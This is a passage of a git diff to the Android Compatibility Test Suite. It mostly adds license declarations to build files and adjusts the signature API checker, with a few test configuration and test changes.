 $(LOCAL_BUILT_MODULE): $(SOONG_ZIP)
 $(LOCAL_BUILT_MODULE): PRIVATE_SYSTEM_API_FILES := $(all_system_api_files)
diff --git a/tests/signature/api-check/system-api/AndroidTest.xml b/tests/signature/api-check/system-api/AndroidTest.xml
index e885473..1fcb724 100644
--- a/tests/signature/api-check/system-api/AndroidTest.xml
+++ b/tests/signature/api-check/system-api/AndroidTest.xml
@@ -28,7 +28,8 @@
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.system.SignatureTest" />
         <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
-        <option name="instrumentation-arg" key="expected-api-files" value="system-current.api.gz,system-removed.api.gz,system-all.api.zip" />
+        <option name="instrumentation-arg" key="system-api-files" value="system-current.api.gz,system-removed.api.gz" />
+        <option name="instrumentation-arg" key="previous-api-files" value = "system-all.api.zip" />
         <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api.gz,android-test-runner-current.api.gz" />
         <option name="runtime-hint" value="30s" />
         <!-- Disable hidden API checks (http://b/171459260). -->
diff --git a/tests/signature/api/Android.bp b/tests/signature/api/Android.bp
index b177f21..b8d94c4 100644
--- a/tests/signature/api/Android.bp
+++ b/tests/signature/api/Android.bp
@@ -12,6 +12,16 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    // See: http://go/android-license-faq
+    // A large-scale-change added 'default_applicable_licenses' to import
+    // all of the 'license_kinds' from "cts_license"
+    // to get the below license kinds:
+    //   SPDX-license-identifier-Apache-2.0
+    //   SPDX-license-identifier-NCSA
+    default_applicable_licenses: ["cts_license"],
+}
+
 genrule_defaults {
     name: "signature-cts-api-api-gz",
     cmd: "$(location metalava) --no-banner --compatible-output=no -convert2xmlnostrip $(in) $(genDir)/api.xml && gzip -c $(genDir)/api.xml > $(out)",
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index d91f511..0184940 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -21,6 +21,8 @@
 define build_xml_api_file
 include $(CLEAR_VARS)
 LOCAL_MODULE := cts-$(subst .,-,$(1))
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0 SPDX-license-identifier-NCSA
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_STEM := $(1)
 LOCAL_MODULE_CLASS := ETC
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests sts
diff --git a/tests/signature/dex-checker/Android.bp b/tests/signature/dex-checker/Android.bp
index 1e4f649..3da3119 100644
--- a/tests/signature/dex-checker/Android.bp
+++ b/tests/signature/dex-checker/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_library_shared {
     name: "libcts_dexchecker",
 
diff --git a/tests/signature/intent-check/Android.bp b/tests/signature/intent-check/Android.bp
index fc26be9..b56996a 100644
--- a/tests/signature/intent-check/Android.bp
+++ b/tests/signature/intent-check/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsIntentSignatureTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/signature/lib/android/Android.bp b/tests/signature/lib/android/Android.bp
index 546190a..bcad0416 100644
--- a/tests/signature/lib/android/Android.bp
+++ b/tests/signature/lib/android/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "cts-signature-common",
     visibility: [
diff --git a/tests/signature/lib/common/Android.bp b/tests/signature/lib/common/Android.bp
index 81a9f8c..05c5f11 100644
--- a/tests/signature/lib/common/Android.bp
+++ b/tests/signature/lib/common/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_static {
   name: "signature-common-javalib",
   visibility: [
diff --git a/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java b/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
index cd6db94..3f14dad 100644
--- a/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/AnnotationChecker.java
@@ -19,6 +19,7 @@
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
+import java.util.stream.Collectors;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.Set;
@@ -30,6 +31,8 @@
 
     private final String annotationSpec;
 
+    private final ResultFilter filter;
+
     private final Map<String, Class<?>> annotatedClassesMap = new HashMap<>();
     private final Map<String, Set<Constructor<?>>> annotatedConstructorsMap = new HashMap<>();
     private final Map<String, Set<Method>> annotatedMethodsMap = new HashMap<>();
@@ -40,10 +43,12 @@
      *      android.annotation.SystemApi)
      */
     public AnnotationChecker(
-            ResultObserver resultObserver, ClassProvider classProvider, String annotationSpec) {
+            ResultObserver resultObserver, ClassProvider classProvider, String annotationSpec,
+            ResultFilter filter) {
         super(classProvider, resultObserver);
 
         this.annotationSpec = annotationSpec;
+        this.filter = filter;
         classProvider.getAllClasses().forEach(clazz -> {
             if (ReflectionHelper.hasMatchingAnnotation(clazz, annotationSpec)) {
                 annotatedClassesMap.put(clazz.getName(), clazz);
@@ -51,28 +56,43 @@
             Set<Constructor<?>> constructors = ReflectionHelper.getAnnotatedConstructors(clazz,
                     annotationSpec);
             if (!constructors.isEmpty()) {
-                annotatedConstructorsMap.put(clazz.getName(), constructors);
+                annotatedConstructorsMap.put(clazz.getName(), constructors.stream().
+                        filter(c -> !c.isSynthetic()).collect(Collectors.toSet()));
             }
             Set<Method> methods = ReflectionHelper.getAnnotatedMethods(clazz, annotationSpec);
             if (!methods.isEmpty()) {
-                annotatedMethodsMap.put(clazz.getName(), methods);
+                annotatedMethodsMap.put(clazz.getName(), methods.stream().
+                        filter(m -> !m.isSynthetic()).collect(Collectors.toSet()));
             }
             Set<Field> fields = ReflectionHelper.getAnnotatedFields(clazz, annotationSpec);
             if (!fields.isEmpty()) {
-                annotatedFieldsMap.put(clazz.getName(), fields);
+                annotatedFieldsMap.put(clazz.getName(), fields.stream().
+                        filter(f -> !f.isSynthetic()).collect(Collectors.toSet()));
             }
         });
     }
 
+    /**
+     * ResultFilter allows users to skip the check for certain types of APIs.
+     */
+    public interface ResultFilter {
+        public boolean skip(Class<?> clazz);
+        public boolean skip(Constructor<?> ctor);
+        public boolean skip(Method m);
+        public boolean skip(Field f);
+    }
+
     @Override
     public void checkDeferred() {
         for (Class<?> clazz : annotatedClassesMap.values()) {
+            if (filter != null && filter.skip(clazz)) continue;
             resultObserver.notifyFailure(FailureType.EXTRA_CLASS, clazz.getName(),
                     "Class annotated with " + annotationSpec
                             + " does not exist in the documented API");
         }
         for (Set<Constructor<?>> set : annotatedConstructorsMap.values()) {
             for (Constructor<?> c : set) {
+                if (filter != null && filter.skip(c)) continue;
                 resultObserver.notifyFailure(FailureType.EXTRA_METHOD, c.toString(),
                         "Constructor annotated with " + annotationSpec
                                 + " does not exist in the API");
@@ -80,6 +100,7 @@
         }
         for (Set<Method> set : annotatedMethodsMap.values()) {
             for (Method m : set) {
+                if (filter != null && filter.skip(m)) continue;
                 resultObserver.notifyFailure(FailureType.EXTRA_METHOD, m.toString(),
                         "Method annotated with " + annotationSpec
                                 + " does not exist in the API");
@@ -87,6 +108,7 @@
         }
         for (Set<Field> set : annotatedFieldsMap.values()) {
             for (Field f : set) {
+                if (filter != null && filter.skip(f)) continue;
                 resultObserver.notifyFailure(FailureType.EXTRA_FIELD, f.toString(),
                         "Field annotated with " + annotationSpec
                                 + " does not exist in the API");
diff --git a/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
index 9dea170..f1c812e 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
@@ -121,6 +121,24 @@
     }
 
     /**
+     * Check if it is allowed that a class is in previous system Api and changed to abstract class
+     * in current API.
+     * @param classDescription a description of a class in an API.
+     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+     * @return true if the change is allowed.
+     */
+    private static boolean isAllowedClassAbstractionFromPreviousSystemApi(
+            JDiffClassDescription classDescription, Class<?> runtimeClass) {
+        // Allow a class that was previously final and had no visible constructors,
+        // (so could not be instantiated or extended) to be changed to an abstract class.
+        return classDescription.getConstructors().isEmpty()
+                && (classDescription.getModifier() & Modifier.FINAL) != 0
+                && (classDescription.getModifier() & Modifier.ABSTRACT) == 0
+                && classDescription.isPreviousApi()
+                && (runtimeClass.getModifiers() & Modifier.ABSTRACT) != 0;
+    }
+
+    /**
      * Checks if the class under test has compliant modifiers compared to the API.
      *
      * @param classDescription a description of a class in an API.
@@ -139,7 +157,9 @@
                 // interfaces are implicitly abstract (JLS 9.1.1.1)
                 classDescription.getClassType() != JDiffClassDescription.JDiffType.INTERFACE &&
                 // and it isn't an enum
-                !classDescription.isEnumType()) {
+                !classDescription.isEnumType() &&
+                // and it isn't allowed previous api final class with no visible ctor
+                !isAllowedClassAbstractionFromPreviousSystemApi(classDescription, runtimeClass)) {
             // that is a problem
             return "description is abstract but class is not and is not an enum";
         }
@@ -164,8 +184,17 @@
             apiModifiers &= ~Modifier.FINAL;
         }
 
+        // Allow previous final API to be changed to abstract or static, and other modifiers should
+        // not be changed.
+        boolean isAllowedPreviousApiModifierChange =
+                isAllowedClassAbstractionFromPreviousSystemApi(classDescription, runtimeClass)
+                && (apiModifiers & ~Modifier.FINAL) != 0
+                && (reflectionModifiers & ~(Modifier.ABSTRACT | Modifier.STATIC))
+                == (apiModifiers & ~Modifier.FINAL);
+
         if ((reflectionModifiers == apiModifiers)
-                && (classDescription.isEnumType() == runtimeClass.isEnum())) {
+                && (classDescription.isEnumType() == runtimeClass.isEnum())
+                || isAllowedPreviousApiModifierChange) {
             return null;
         } else {
             return String.format("modifier mismatch - description (%s), class (%s)",
@@ -463,6 +492,12 @@
         String reason;
         if ((reason = areMethodsModifierCompatible(
                 classDescription, methodDescription, method)) != null) {
+            // Allow previous API method to be changed to abstract
+            if (isAllowedClassAbstractionFromPreviousSystemApi(classDescription, runtimeClass)
+                    && (method.getModifiers() & ~(Modifier.ABSTRACT))
+                    == methodDescription.mModifier) {
+                return;
+            }
             resultObserver.notifyFailure(FailureType.MISMATCH_METHOD,
                     methodDescription.toReadableString(classDescription.getAbsoluteClassName()),
                     String.format("Non-compatible method found when looking for %s - because %s",
diff --git a/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java b/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java
index 97f11d0..7c590e1 100644
--- a/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java
+++ b/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java
@@ -40,6 +40,7 @@
     private final String mAbsoluteClassName;
 
     private int mModifier;
+    private boolean mIsPrevious;
 
     private String mExtendedClass;
     private final List<String> implInterfaces = new ArrayList<>();
@@ -59,8 +60,17 @@
         mPackageName = pkg;
         mShortClassName = className;
         mAbsoluteClassName = mPackageName + "." + mShortClassName;
+        mIsPrevious = false;
     }
 
+    public JDiffClassDescription setPreviousApiFlag(boolean isPreviousApi) {
+        mIsPrevious = isPreviousApi;
+        return this;
+    }
+
+    boolean isPreviousApi() {
+        return mIsPrevious;
+    }
 
     String getPackageName() {
         return mPackageName;
diff --git a/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java b/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
index 3bed2ac..0890bc9 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
@@ -209,7 +209,8 @@
         // Check for varargs.  jdiff reports varargs as ..., while
         // reflection reports them as []
         int jdiffParamEndOffset = jdiffParam.indexOf("...");
-        int reflectionParamEndOffset = reflectionParam != null ? reflectionParam.indexOf("[]") : -1;
+        int reflectionParamEndOffset = reflectionParam != null
+                ? reflectionParam.lastIndexOf("[]") : -1;
         if (jdiffParamEndOffset != -1 && reflectionParamEndOffset != -1) {
             jdiffParam = jdiffParam.substring(0, jdiffParamEndOffset);
             reflectionParam = reflectionParam.substring(0, reflectionParamEndOffset);
diff --git a/tests/signature/tests/Android.bp b/tests/signature/tests/Android.bp
index 1077b40..1359b8e 100644
--- a/tests/signature/tests/Android.bp
+++ b/tests/signature/tests/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
   name: "signature-host-tests",
   srcs: ["src/**/*.java"],
@@ -19,5 +23,4 @@
     "junit",
     "signature-hostside",
   ],
-  test_suites: ["general-tests"],
 }
diff --git a/tests/signature/tests/AndroidTest.xml b/tests/signature/tests/AndroidTest.xml
deleted file mode 100644
index dc776eb..0000000
--- a/tests/signature/tests/AndroidTest.xml
+++ /dev/null
@@ -1,24 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<!-- Note: This should not be necessary, as autogeneration should work.
-           However, atest does not find the module without it. -->
-<configuration description="Runs signature host tests">
-    <option name="test-suite-tag" value="apct" />
-    <option name="test-suite-tag" value="apct-junit" />
-    <test class="com.android.tradefed.testtype.HostTest" >
-        <option name="jar" value="signature-host-tests.jar" />
-    </test>
-</configuration>
diff --git a/tests/signature/tests/run_unit_tests.sh b/tests/signature/tests/run_unit_tests.sh
deleted file mode 100755
index 63f0bc0a..0000000
--- a/tests/signature/tests/run_unit_tests.sh
+++ /dev/null
@@ -1,48 +0,0 @@
-#!/bin/bash
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#       http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# helper script for running the signature unit tests
-
-checkFile() {
-    if [ ! -f "$1" ]; then
-        echo "Unable to locate $1"
-        exit
-    fi;
-}
-
-# check if in Android build env
-if [ ! -z ${ANDROID_BUILD_TOP} ]; then
-    HOST=`uname`
-    if [ "$HOST" == "Linux" ]; then
-        OS="linux-x86"
-    elif [ "$HOST" == "Darwin" ]; then
-        OS="darwin-x86"
-    else
-        echo "Unrecognized OS"
-        exit
-    fi;
-fi;
-
-JAR_DIR=${ANDROID_BUILD_TOP}/out/host/$OS/framework
-JARS="tradefed.jar signature-host-tests.jar"
-
-for JAR in $JARS; do
-    checkFile ${JAR_DIR}/${JAR}
-    JAR_PATH=${JAR_PATH}:${JAR_DIR}/${JAR}
-done
-
-java $RDBG_FLAG \
-  -cp ${JAR_PATH} com.android.tradefed.command.Console run singleCommand host -n --class android.signature.cts.tests.AllTests "$@"
-
diff --git a/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
index 90dada9..a981be7 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
@@ -38,7 +38,7 @@
     protected AnnotationChecker createChecker(ResultObserver resultObserver,
             ClassProvider provider) {
         return new AnnotationChecker(resultObserver, provider,
-                "@android.signature.cts.tests.data.ApiAnnotation()");
+                "@android.signature.cts.tests.data.ApiAnnotation()", null);
     }
 
     private static void addConstructor(JDiffClassDescription clz, String... paramTypes) {
diff --git a/tests/simplecpu/jni/Android.bp b/tests/simplecpu/jni/Android.bp
index 000173d..bd9a640 100644
--- a/tests/simplecpu/jni/Android.bp
+++ b/tests/simplecpu/jni/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctscpu_jni",
     srcs: ["CpuNativeJni.cpp"],
diff --git a/tests/suspendapps/Android.bp b/tests/suspendapps/Android.bp
index 2dfcb5c..e593b5b 100644
--- a/tests/suspendapps/Android.bp
+++ b/tests/suspendapps/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 filegroup {
     name: "CtsSuspendHelpersConstants",
     srcs: [
diff --git a/tests/suspendapps/permission/Android.bp b/tests/suspendapps/permission/Android.bp
index 70278bc..071d1bd 100644
--- a/tests/suspendapps/permission/Android.bp
+++ b/tests/suspendapps/permission/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSuspendAppsPermissionTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/suspendapps/test-apps/SuspendTestApp/Android.bp b/tests/suspendapps/test-apps/SuspendTestApp/Android.bp
index cade030..376c4c8 100644
--- a/tests/suspendapps/test-apps/SuspendTestApp/Android.bp
+++ b/tests/suspendapps/test-apps/SuspendTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSuspendTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/tests/suspendapps/test-apps/TestDeviceAdmin/Android.bp b/tests/suspendapps/test-apps/TestDeviceAdmin/Android.bp
index 4bd551b..8af8053 100644
--- a/tests/suspendapps/test-apps/TestDeviceAdmin/Android.bp
+++ b/tests/suspendapps/test-apps/TestDeviceAdmin/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSuspendTestDeviceAdmin",
     defaults: ["cts_support_defaults"],
diff --git a/tests/suspendapps/tests/Android.bp b/tests/suspendapps/tests/Android.bp
index 5c56724..5f5475c 100644
--- a/tests/suspendapps/tests/Android.bp
+++ b/tests/suspendapps/tests/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSuspendAppsTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/accounts/Android.bp b/tests/tests/accounts/Android.bp
index 7e60638..912c81d 100644
--- a/tests/tests/accounts/Android.bp
+++ b/tests/tests/accounts/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAccountManagerTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.bp b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.bp
index 2b2980d..c297a83 100644
--- a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.bp
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUnaffiliatedAccountAuthenticators",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/accounts/common/Android.bp b/tests/tests/accounts/common/Android.bp
index 35d01fb..16400f5 100644
--- a/tests/tests/accounts/common/Android.bp
+++ b/tests/tests/accounts/common/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "CtsAccountTestsCommon",
     // Includes all the java files, and explicitly declares any aidl files
diff --git a/tests/tests/animation/Android.bp b/tests/tests/animation/Android.bp
index d8cbf4d2..5741930 100644
--- a/tests/tests/animation/Android.bp
+++ b/tests/tests/animation/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAnimationTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/apache-http/Android.bp b/tests/tests/apache-http/Android.bp
index 9167002..4f75917 100644
--- a/tests/tests/apache-http/Android.bp
+++ b/tests/tests/apache-http/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsApacheHttpTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/app.usage/Android.bp b/tests/tests/app.usage/Android.bp
index 75dac41..9bccb8c 100644
--- a/tests/tests/app.usage/Android.bp
+++ b/tests/tests/app.usage/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsUsageStatsTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/app.usage/TestApp1/Android.bp b/tests/tests/app.usage/TestApp1/Android.bp
index b1c4ced..cba5df5 100644
--- a/tests/tests/app.usage/TestApp1/Android.bp
+++ b/tests/tests/app.usage/TestApp1/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsUsageStatsTestApp1",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
index ebb5d11..0681f4e 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageReportingTest.java
@@ -313,10 +313,12 @@
         mUsageStatsManager.reportUsageStop(activity0, TOKEN_0);
         assertAppOrTokenUsed(mFullToken0, true);
 
-        // Send the device to sleep to get onStop called for the token reporting activities.
-        mUiDevice.sleep();
-        Thread.sleep(1000);
-        assertAppOrTokenUsed(mFullToken0, false);
+        // Send the device to keyguard to get onStop called for the token reporting activities.
+        try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
+            lockScreenSession.gotoKeyguard();
+            Thread.sleep(1000);
+            assertAppOrTokenUsed(mFullToken0, false);
+        }
     }
 
     @Test
diff --git a/tests/tests/app/Android.bp b/tests/tests/app/Android.bp
index f0904956..3c9e5bf 100644
--- a/tests/tests/app/Android.bp
+++ b/tests/tests/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAndroidAppTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/appcomponentfactory/Android.bp b/tests/tests/appcomponentfactory/Android.bp
index 7c889cf..27edc67 100644
--- a/tests/tests/appcomponentfactory/Android.bp
+++ b/tests/tests/appcomponentfactory/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAppComponentFactoryTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/appenumeration/Android.bp b/tests/tests/appenumeration/Android.bp
index 9cbbcaa..5d510eb 100644
--- a/tests/tests/appenumeration/Android.bp
+++ b/tests/tests/appenumeration/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsAppEnumerationTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/appenumeration/app/source/Android.bp b/tests/tests/appenumeration/app/source/Android.bp
index 731a19c..d2901e0 100644
--- a/tests/tests/appenumeration/app/source/Android.bp
+++ b/tests/tests/appenumeration/app/source/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_defaults {
     name: "CtsAppEnumerationQueriesDefaults",
     srcs: ["src/**/*.java"],
@@ -281,4 +285,3 @@
         "general-tests",
     ],
 }
-
diff --git a/tests/tests/appenumeration/app/target/Android.bp b/tests/tests/appenumeration/app/target/Android.bp
index cd1eb18..55f08c4 100644
--- a/tests/tests/appenumeration/app/target/Android.bp
+++ b/tests/tests/appenumeration/app/target/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppEnumerationForceQueryable",
     manifest: "AndroidManifest-forceQueryable.xml",
diff --git a/tests/tests/appenumeration/lib/Android.bp b/tests/tests/appenumeration/lib/Android.bp
index 1b53acc..56873ca 100644
--- a/tests/tests/appenumeration/lib/Android.bp
+++ b/tests/tests/appenumeration/lib/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "CtsAppEnumerationTestLib",
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/appop/Android.bp b/tests/tests/appop/Android.bp
index 4779f43..48f9647 100644
--- a/tests/tests/appop/Android.bp
+++ b/tests/tests/appop/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libCtsAppOpsTestCases_jni",
 
diff --git a/tests/tests/appop/AppInBackground/Android.bp b/tests/tests/appop/AppInBackground/Android.bp
index baa001a..40aac43 100644
--- a/tests/tests/appop/AppInBackground/Android.bp
+++ b/tests/tests/appop/AppInBackground/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "AppInBackground",
 
diff --git a/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp b/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp
index fb06b6e..2928c5e 100644
--- a/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp
+++ b/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "AppThatCanBeForcedIntoForegroundStates",
 
@@ -25,4 +29,4 @@
         "cts",
         "general-tests",
     ]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/appop/AppThatUsesAppOps/Android.bp b/tests/tests/appop/AppThatUsesAppOps/Android.bp
index d4b546c..a80f8d3 100644
--- a/tests/tests/appop/AppThatUsesAppOps/Android.bp
+++ b/tests/tests/appop/AppThatUsesAppOps/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library  {
     name: "libAppThatUsesAppOps_jni",
     sdk_version: "current",
@@ -59,4 +63,4 @@
         "cts",
         "general-tests",
     ]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/appop/AppToBlame1/Android.bp b/tests/tests/appop/AppToBlame1/Android.bp
index 9867a6a..7f61da8 100644
--- a/tests/tests/appop/AppToBlame1/Android.bp
+++ b/tests/tests/appop/AppToBlame1/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppToBlame1",
 
@@ -19,4 +23,4 @@
         "cts",
         "general-tests",
     ]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/appop/AppToBlame2/Android.bp b/tests/tests/appop/AppToBlame2/Android.bp
index e11008c..d56247d 100644
--- a/tests/tests/appop/AppToBlame2/Android.bp
+++ b/tests/tests/appop/AppToBlame2/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppToBlame2",
 
